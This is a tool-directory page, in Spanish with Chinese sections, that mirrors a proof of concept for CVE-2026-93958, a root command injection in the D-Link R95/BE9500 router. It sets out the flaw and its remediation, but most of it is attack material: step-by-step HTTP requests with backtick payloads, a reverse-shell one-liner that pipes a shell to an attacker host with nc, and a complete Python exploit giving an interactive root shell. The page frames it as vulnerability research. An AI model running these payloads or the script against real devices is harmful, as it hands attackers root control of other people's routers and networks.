Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-93958 — PoC de inyección de comandos autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, logrando RCE como root mediante inyección de backticks en NTPServer, con script de exploit completo. | Kitploit
Herramientas/GitHubGitHub/hackspeak/cve-2026-93958
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónComando y ControlSeguridad de Hardware e IoTPapers e Investigación
GitHub
14hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hackspeak/cve-2026-93958

CVE-2026-93958

PoC de inyección de comandos autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, logrando RCE como root mediante inyección de backticks en NTPServer, con script de exploit completo.

Ver Repositorio

D-Link R95 BE9500 Wi-Fi 7 Smart Router

  • Vendor:D-Link
  • Product:R95
  • Product Model:BE9500
  • Firmware Version:1.01B06
  • Vulnerability Type:Authenticated Command Injection

Description

El D-Link R95 BE9500 Wi-Fi 7 Smart Router (versión de firmware BE9500_1.00.16) contiene una vulnerabilidad de inyección de comandos en la interfaz DHMAPI (SOAP sobre HTTPS) al procesar solicitudes SetTimeSettings. El campo <NTPServer> controlado por el usuario se almacena en la base de datos de configuración sin ninguna sanitización ni validación de metacaracteres de shell. Posteriormente, cuando la configuración se sincroniza con UCI (ntpclient.@ntpserver[0].hostname), el servicio backend vulnerable construye y ejecuta un comando de shell encerrado entre comillas dobles mediante una llamada tipo system(). Al inyectar backticks (```) en el valor de <NTPServer>, un atacante puede lograr sustitución de comandos — el shell evalúa el contenido inyectado antes de ejecutar el comando concatenado, permitiendo la ejecución arbitraria de comandos con privilegios de root (uid=0).

El ataque requiere una sesión válida de gestión web (sid) obtenida mediante acceso autenticado (probado con la cuenta de administrador Admin). Esta vulnerabilidad se ve además amplificada por las credenciales predeterminadas débiles del dispositivo o posibles problemas de omisión de autenticación, lo que expande significativamente la superficie de ataque en el mundo real.

Impact

Un atacante autenticado puede ejecutar comandos arbitrarios con privilegios de root, lo que conlleva el compromiso total del dispositivo — incluyendo la lectura de archivos sensibles (p. ej., el texto cifrado /etc/rg_config/admin, el volcado de copias de seguridad completas de la configuración), la instalación de puertas traseras persistentes, el establecimiento de shells inversas y el pivoteo hacia la red interna para ataques de movimiento lateral.

Vulnerability Details

1. Affected Component and Root Cause

La vulnerabilidad reside en el binario del backend de gestión web /bin/ssi (que se ejecuta como root), el cual implementa la interfaz SOAP DHMAPI.

Origen de la contaminación (taint source) — el manejador de SetTimeSettings (función en el offset 0x6bd84 en ssi, firmware 1.01B06):

  • Extrae el campo <NTPServer> de la solicitud SOAP hacia un búfer de pila, con longitud limitada a 0x3f (63 bytes) — esto es un límite de tamaño de búfer, no una comprobación de seguridad.
  • Almacena el valor tal cual en la clave de configuración interna time.value.NTPServer mediante un setter interno — no se realiza ningún filtrado ni escape de metacaracteres de shell en ningún momento.

Destino de la contaminación (taint sink) — sincronización de la configuración con UCI. ssi sincroniza los valores de configuración concatenándolos en cadenas de comandos de shell ejecutadas mediante llamadas tipo system(). Entre las cadenas de formato incrustadas que se encuentran en el binario se incluye:

root@kitploit:~
uci set %s="%s" > /dev/null

Dado que el valor está envuelto en comillas dobles, el shell realiza sustitución de comandos sobre los backticks (`) / $() dentro del valor antes de ejecutar el comando concatenado. Como ssi se ejecuta como root, el comando inyectado se ejecuta con privilegios de root.

La evidencia temporal confirma que la evaluación ocurre de forma síncrona dentro de la ruta de manejo de la solicitud: inyectar `sleep 10` retrasa la respuesta HTTP ~10 segundos. El valor envenenado además persiste en UCI (ntpclient.@ntpserver[0].hostname) y posteriormente es consumido sin comillas por /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), una brecha de endurecimiento secundaria.

Restricciones de explotación (verificadas):

2. Authentication Prerequisite (API-AUTH scheme)

Todas las solicitudes DHMAPI deben incluir:

  • Cookie: uid=<session cookie> (de la autenticación)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • Cabeceras API-ACTION / SOAPAction que coincidan con la acción SOAP, además de User-Agent y Referer (la ausencia de UA/Referer produce HTTP 400/500)
  • ts es una marca de tiempo en milisegundos; el dispositivo no valida la frescura, por lo que un valor fijo es reutilizable

Derivación de privkey:

  1. Login / Action=request (firmado con la cadena de clave estática withoutloginkey) devuelve Challenge, Cookie, PublicKey, SaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (o la contraseña en texto plano cuando SaltHash está ausente)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login con lo anterior devuelve <LoginResult>success</LoginResult>; las solicitudes posteriores usan Cookie: uid=<step-1 Cookie> firmadas con

3. Proof of Concept

Step 1 — Login request (obtain Challenge/Cookie/PublicKey/SaltHash)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

Step 2 — Login (establish session)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Esperado: <LoginResult>success</LoginResult>.

image-20260823160951351

Step 3 — Command injection (write output to web root)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

Step 4 — Retrieve command output

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

Cuerpo de respuesta observado:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

Alternative verification — time-based blind injection

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

La respuesta HTTP se retrasa ~10 segundos; un nombre de servidor NTP benigno responde de inmediato.

Full exploitation — reverse shell

El límite de 63 bytes del campo se elude escribiendo un script en fragmentos base64:

  1. Solicitudes SetTimeSettings repetidas, cada una añadiendo un fragmento: `echo -n <b64-fragment> >> /tmp/x`
  2. Decodificar: `base64 -d /tmp/x > /tmp/rs.rs`
  3. Contenido de /tmp/rs.rs (nótese los espacios obligatorios alrededor de las tuberías para busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. Disparar: `sh /tmp/rs.rs`

Resultado: se recibe un shell root interactivo (~ #, BusyBox ash) en el listener del atacante.

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. Root Cause Summary

  1. ssi almacena el campo NTPServer (y campos hermanos en el mismo manejador) en la base de datos de configuración sin ninguna sanitización;
  2. La sincronización de la configuración utiliza concatenación de cadenas de shell al estilo system() con el valor envuelto en comillas dobles, lo que provoca que el shell evalúe backticks / $() en el valor;
  3. ssi se ejecuta como root, por lo que los comandos inyectados se ejecutan con el máximo privilegio.

El mismo patrón de código produce al menos 7 puntos adicionales de inyección de comandos autenticados en este firmware (TZLocation, DeviceName, Hostname/Username de DDNS, NickName de cliente, y una inyección de segundo orden mediante SetNetworkSettings), todos verificados con ejecución uid=0(root).

5. Remediation

  • Aplicar validación estricta de lista blanca ([A-Za-z0-9.-]) a los campos de entrada de tipo nombre de host antes de almacenarlos;
  • Reemplazar la concatenación de cadenas de system() por la API de libuci (ya enlazada en ssi) o llamadas de la familia exec* sin shell;
  • Entrecomillar la variable $HOSTNAME en /bin/start_ntpclient.sh;
  • Ejecutar el servicio de gestión web con privilegios reducidos;
  • Auditar y corregir de forma uniforme los puntos de inyección hermanos enumerados anteriormente.

分发镜像说明(中文)

Este repositorio es un espejo de distribución intermedio del PoC de la vulnerabilidad CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI command injection) (el análisis técnico se encuentra en el informe original upstream D-Link R95 BE9500.md arriba). El contenido proviene del espejo del repositorio público upstream del PoC, y se proporciona únicamente con fines de archivo y distribución. El PoC es solo para investigación de seguridad, verificación de vulnerabilidades y pruebas autorizadas; no lo utilice contra objetivos no autorizados.

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95(BE9500)Wi-Fi 7 智能路由器
  • 固件 afectado:BE9500_1.00.16 / 1.01B06 系列
  • 类型:OS 命令注入(CWE-77 / CWE-78)→ root 权限任意命令执行
  • CVSS 3.1:9.1(Critical);CVSS 4.0:8.5;CVSS 2.0:8.3
  • 攻击面:DHMAPI(SOAP over HTTPS)接口 SetTimeSettings 请求的 <NTPServer> 字段
  • 前置条件:需一个有效的 Web 管理会话(认证后)
  • 影响组件:以 root 运行的 Web 管理后端 /bin/ssi

核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • 目标:未修复固件的 D-Link R95 / BE9500(实验室设备);需有效管理会话(管理员账号)
  • 依赖:Python 3 + requests
  • 用法:
root@kitploit:~
python r95_exp.py            # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id"       # 执行单条命令

⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含 &;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行,输出写入 Web 根目录 /www/e 后经 HTTP 取回。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告与 EXP 作者:FoundTL(公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-93958
  • D-Link 官网:https://www.dlink.com/
Descargar herramienta
RestricciónResultado verificado
Longitud del campo≤ 63 bytes aceptados; 60 bytes OK, 80 bytes rechazados (HTTP 400)
Carácter &No debe aparecer (rompe la línea de comando concatenada)
Sintaxis de inyecciónBackticks `cmd` verificados; se espera que $(cmd) funcione igual
Contexto de ejecuciónuid=0(root) gid=0(root)
Canal de salidaSin eco directo; redirigir a la raíz web (> /www/<file>) y recuperar mediante HTTP GET
privkey